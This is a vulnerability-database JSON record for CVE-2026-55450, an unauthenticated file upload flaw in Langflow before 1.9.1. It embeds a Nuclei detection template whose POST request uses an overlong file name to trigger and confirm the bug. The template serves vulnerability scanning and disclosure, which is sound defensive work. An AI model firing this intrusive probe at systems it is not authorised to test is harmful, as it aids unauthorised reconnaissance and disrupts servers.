{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-55450/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-55450/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-55450/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-55450/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-55450/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-55450"},"sightings":{"href":"/api/v1/sightings/cve-2026-55450"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.0119,"kev":false,"percentile":0.66619},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-55450.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-55450\n\ninfo:\n  name: Langflow < 1.9.1 - Unauthenticated File Upload\n  author: xtr0nix\n  severity: critical\n  description: |\n   Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.\n  impact: |\n    Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.\n  remediation: |\n    Update to version 1.9.1 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H\n    cvss-score: 9.3\n    cve-id: CVE-2026-55450\n    epss-score: 0.0119\n    epss-percentile: 0.66619\n    cwe-id: CWE-306,CWE-400,CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,langflow,unauth,intrusive,vkev\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111\"\n\n    body: |\n      --boundary\n      Content-Disposition: form-data; name=\"file\"; filename=\"x.{{repeat('a', 300)}}\"\n      Content-Type: text/plain\n\n      probe\n      --boundary--\n    headers:\n      Content-Type: multipart/form-data; boundary=boundary\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n          - contains(body, \"[Errno 36] File name too long\")\n          - contains(content_type, \"application/json\")\n        condition: and\n# digest: 4a0a00473045022037b3a86453180a352ec12d28a91af953124215da4a0866b7d1309741def1dcff022100dfc7aa5c4d8311f52a47ef0a883fe195487a640be7fd48410870791ae425e9ea:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-55450"}